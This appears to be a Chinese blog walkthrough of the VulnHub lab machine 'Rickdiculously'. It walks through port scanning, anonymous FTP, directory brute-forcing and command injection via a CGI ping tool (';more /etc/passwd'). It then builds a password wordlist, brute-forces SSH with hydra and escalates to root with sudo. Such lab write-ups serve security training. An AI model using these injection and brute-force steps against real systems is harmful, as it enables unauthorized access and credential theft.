vulnhub(5):rickdiculously(像真实黑客一样社工分析目标隐私信息)

端口

nmap主机发现
nmap -sn 192.168.60.213/24
​
Nmap scan report for 192.168.60.213
Host is up (0.00020s latency).
​
213是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn -p- 192.168.60.213 --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
一定要养成好习惯扫描全端口
​
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
9090/tcp  open  zeus-admin
13337/tcp open  unknown
22222/tcp open  easyengine
60000/tcp open  unknown
nmap -sT -sC -sV -O -p22,21,80,9090,13337,22222,60000 -oA nmap/scan 192.168.60.213详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
PORT      STATE SERVICE    VERSION
21/tcp    open  ftp        vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.203.47
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              42 Aug 22  2017 FLAG.txt
|_drwxr-xr-x    2 0        0               6 Feb 12  2017 pub
22/tcp    open  tcpwrapped
80/tcp    open  http       Apache httpd 2.4.27 ((Fedora))
|_http-server-header: Apache/2.4.27 (Fedora)
|_http-title: Morty's Website
| http-methods: 
|_  Potentially risky methods: TRACE
9090/tcp  open  http       Cockpit web service 161 or earlier
|_http-title: Did not follow redirect to https://192.168.203.213:9090/
13337/tcp open  tcpwrapped
22222/tcp open  ssh        OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey: 
|   2048 b411567fc036967cd099dd539522974f (RSA)
|   256 2067edd93988f9ed0daf8c8e8a456e0e (ECDSA)
|_  256 a684fa0fdfe0dce29a2de7133ce750a9 (ED25519)
60000/tcp open  tcpwrapped
​
简单分析以下:
21:ftp可匿名登录、并且已经扫到一个flag
22、13337、60000:自己开的服务
80、9090:web网页服务

立足点

ftp
之前nmap已经扫到ftp下的FLAG.txt文件,ftp可以匿名登陆,账号密码都为Anonymous登陆一下,就能能拿到flag
FLAG{Whoa this is unexpected} - 10 Point
22端口
nc 连接一下
nc 192.168.60.213 22
​
结果只有一行输出:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)
13337端口
nc 连接一下
nc 192.168.60.213 13337
​
直接输出一个flag:
FLAG:{TheyFoundMyBackDoorMorty}-10Points
60000端口
nc 连接一下
nc 192.168.60.213 60000
​
直接一个shell:
Welcome to Ricks half baked reverse shell...
ls查看当前目录,发现一个FLAG.txt
​
又获得一个:
FLAG{Flip the pickle Morty!} - 10 Points 
9090端口
网页查看一下
直接一个flag写在页面上,其他就没有任何可以利用的东西:
9090:FLAG {There is no Zeus, in your face!} - 10 Points
80端口
网页查看一下:什么都没有,页面源代码也什么都没有
​
扫一下目录
gobuster dir -u http://192.168.60.213/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt --add-slash
​
/.html/               (Status: 403) [Size: 215]
/cgi-bin/             (Status: 403) [Size: 217]
/icons/               (Status: 200) [Size: 74199]
/passwords/           (Status: 200) [Size: 1105]
/.html/               (Status: 403) [Size: 215]
​
​
一个一个看:
/cgi-bin/页面显示禁止访问
/password/直接给出一个文件目录,如下图
其他没有什么信息

拿到一个flag:FLAG{Yeah d- just don't do it.} - 10 Points
看看passwords.html内容:

显示页面:
Wow Morty real clever. Storing passwords in a file called passwords.html? You've really done it this time Morty. Let me at least hide them.. I'd delete them entirely but I know you'd go bitching to your mom. That's the last thing I need. 

再看看源代码页面发现有个注释非常关键:
<!--Password: winter-->

没有什么内容了,但是robots.txt文件还没查看查一查发现以下内容:

They're Robots Morty! It's ok to shoot them! They're just Robots!

/cgi-bin/root_shell.cgi
/cgi-bin/tracertool.cgi
/cgi-bin/*

root_shell.cgi和tracertool.cgi分别访问以下:


root_shell.cgi是作者的恶作剧,显示:


--UNDER CONSTRUCTION--
<!--HAAHAHAHAAHHAaAAAGGAgaagAGAGAGG-->
<!--I'm sorry Morty. It's a bummer.-->

看看tracertool.cgi:


是个调用ping命令的接口,通过此接口我们可以像目标机器执行命令,但貌似仅限于查看一些敏感文件,不存在反弹shell和遍历目录,仅对一部分命令有回显,那我们看敏感文件
执行: ;cat /etc/passwd
如下图:

作者竟然把cat命令换成了输出一个🐱,我们只能查看其他能代替的命令如more
​
;more /etc/passwd
​
::::::::::::::
/etc/passwd
::::::::::::::
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-coredump:x:999:998:systemd Core Dumper:/:/sbin/nologin
systemd-timesync:x:998:997:systemd Time Synchronization:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:997:996:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit-ws:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
chrony:x:995:993::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
RickSanchez:x:1000:1000::/home/RickSanchez:/bin/bash
Morty:x:1001:1001::/home/Morty:/bin/bash
Summer:x:1002:1002::/home/Summer:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
​
​
简单分析一下:只有三个用户没有/sbin/nologin标志,分别是RickSanchez、Morty、Summer,推断他们是管理员创建的用户
​
我们直接利用之前passwords.html的源代码页面注释给出的密码:winter进行尝试,用户不多,加上root一共4个,我们手动尝试即可
发现Summer可以通过ssh和密码winter登录成功
​
ssh Summer@192.168.60.213 -p 22222
password:winter

在没打点之前,我们已经拿下如下flag

13337:FLAG:{TheyFoundMyBackDoorMorty}-10Points
60000:FLAG{Flip the pickle Morty!} - 10 Points
ftp:FLAG{Whoa this is unexpected} - 10 Points
password:FLAG{Yeah d- just don't do it.} - 10 Points
9090:FLAG {There is no Zeus, in your face!} - 10 Points

提权

登录Summer后ls以下,发现/home/Summer目录下又有一个flag
summer:FLAG{Get off the high road Summer!} - 10 Points
信息枚举
sudo -l:没有权限
cat /etc/crontab:什么都没有
find / -perm -u=s -type f 2>/dev/null:查询suid具有s位的可执行文件,没有任何利用
内核漏洞提权:没有gcc
其他可以提权的服务都没有部署
​
我们只能收集敏感信息一步步探索了
用户目录查看
之前发现过有3个管理员创建的用户:
一次看看他们的目录,记住养成好习惯使用 ls -la查看其权限和目录中的隐藏文件,虽然后续不一定会用到
​
结果如下:
/home/Morty下两个文件:
-rw-r--r--. 1 root  root    414 8月  22 2017 journal.txt.zip
-rw-r--r--. 1 root  root  43145 8月  22 2017 Safe_Password.jpg
​
/home/Rick下两个文件夹:
drwxr-xr-x. 2 RickSanchez RickSanchez  18 9月  21 2017 RICKS_SAFE
drwxrwxr-x. 2 RickSanchez RickSanchez  26 8月  18 2017 ThisDoesntContainAnyFlags
​
文件夹下目录:
RICKS_SAFE:safe一个可执行文件
ThisDoesntContainAnyFlags:NotAFlag.txt一个文本文件
先看一下RickSanchez用户下的内容
NotAFlag.txt(没什么用):But seriously this isn't a flag..
​
safe没有权限执行,但是有读的权限,我们直接拷贝到能写的目录,修改权限,直接执行:
Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE AAAAAHHAHAGGGGRRGUMENTS!
解析:不知道是什么意思
再看一看Morty用户下的内容
unzip journal.txt.zip
发现需要密码
​
exiftools解析一下Safe_Password.jpg,没有任何内容,但观察这个图片的文件名,可以知道其可能存放着密码,直接strings查看文件中出现的字符串,发现密码
​
strings Safe_Password.jpg
​
文件中存在以下字符串:
8 The Safe Password: File: /home/Morty/journal.txt.zip. Password: Meeseek
发现密码Meeseek,因为此密码存在于Morty目录,很可能这个密码就是journal.txt.zip的解压密码,这个猜想是正确的,我们直接解压出来journal.txt,发现:
​
Monday: So today Rick told me huge secret. He had finished his flask and was on to commercial grade paint solvent. He spluttered something about a safe, and a password. Or maybe it was a safe password... Was a password that was safe? Or a password to a safe? Or a safe password to a safe?
​
Anyway. Here it is:
​
FLAG: {131333} - 20 Points
​
拿到flag
​
我们翻译一下:
星期一:今天 Rick 告诉了我一个大秘密。他用完了他的烧瓶,开始使用商用级油漆溶剂。他结结巴巴地说了一些关于保险箱和密码的事情。或者也许这是一个保险箱密码……这是一个安全的密码吗?或者是保险箱的密码?或者是保险箱的安全密码?
无论如何。它在这里:FLAG: {131333} - 20 Points
​
分析:
密码可能就是131333,而且是rick正在使用的,既然是rick正在使用的密码,那么这个密码究竟应用在rick的什么的地方呢?
也许我们会从rick的目录中获取答案
rick密码获取
我们之前看过rick目录,一共两个文件:
RICKS_SAFE目录下:safe一个可执行文件
ThisDoesntContainAnyFlags目录下:NotAFlag.txt一个文本文件
​
NotAFlag.txt没什么用,只能尝试将rick使用的131333密码与safe相关联
​
额,直接尝试参数传递一下,发现rick新秘密:
decrypt:        FLAG{And Awwwaaaaayyyy we Go!} - 20 Points
​
Ricks password hints:
 (This is incase I forget.. I just hope I don't forget how to write a script to generate potential passwords. Also, sudo is wheely good.)
Follow these clues, in order
​
​
1 uppercase character
1 digit
One of the words in my old bands name.� @
翻译一下:
解密:FLAG{And Awwwaaaaayyyy we Go!} - 20 分
​
Ricks 密码提示:
(这是以防我忘记……我只是希望我不会忘记如何编写脚本来生成潜在密码。此外,sudo 也很棒。)
按照这些线索依次操作
​
1 个大写字符
1 个数字
我以前乐队名字中的一个单词。@
​
解析:
拿到flag
获取信息:Ricks的密码=1个大写字母 + 1个数字 + 1个单词(这个单词是Ricks乐队中的一个单词)
​
我们通过google搜索Ricks发现他是国外一个动画的人物,他的乐队是The Flesh Curtains
整理一下我们可以得到:Ricks的密码=1个大写字母 + 1个数字 + 1个单词(Flesh/Curtains)
密码字典的生成
我们将rick的密码,按照他说的规则写成一个字典,如下:
A0Flesh
A1Flesh
A2Flesh
A3Flesh
A4Flesh
A5Flesh
A6Flesh
A7Flesh
A8Flesh
A9Flesh
B0Flesh
B1Flesh
......
​
我们使用python脚本编写,并存放到文件wordlists.txt中:
words = ['Flesh','flesh','Curtains','curtains']
​
with open('wordlists.txt','w') as f:
    arr = []
    for word in words:
        characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        numbers = '0123456789'
        for char in characters:
            for num in numbers:
                arr.append(char + num + word + '\n')
                f.write(char + num + word + '\n')
    print(arr)
rick密码爆破
获得字典后直接尝试使用此字典登录ssh
hydra -l RickSanchez -P wordlists.txt 192.168.60.213 -s 22222 ssh
​
爆破出来了:
[22222][ssh] host: 192.168.60.213   login: RickSanchez   password: P7Curtains
登录后
sudo -l
发现sudo可执行任何文件:
直接sudo /bin/bash成为root
再/root/目录下发现flag:
​
FLAG: {Ionic Defibrillator} - 30 points
我们在打点后获取到的flag
summer:FLAG{Get off the high road Summer!} - 10 Points
journal.txt:FLAG: {131333} - 20 Points 
./safe 131333:FLAG{And Awwwaaaaayyyy we Go!} - 20 Points
FLAG: {Ionic Defibrillator} - 30 points
​
再加上之前的5个flag,一共9个flag总共130分

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值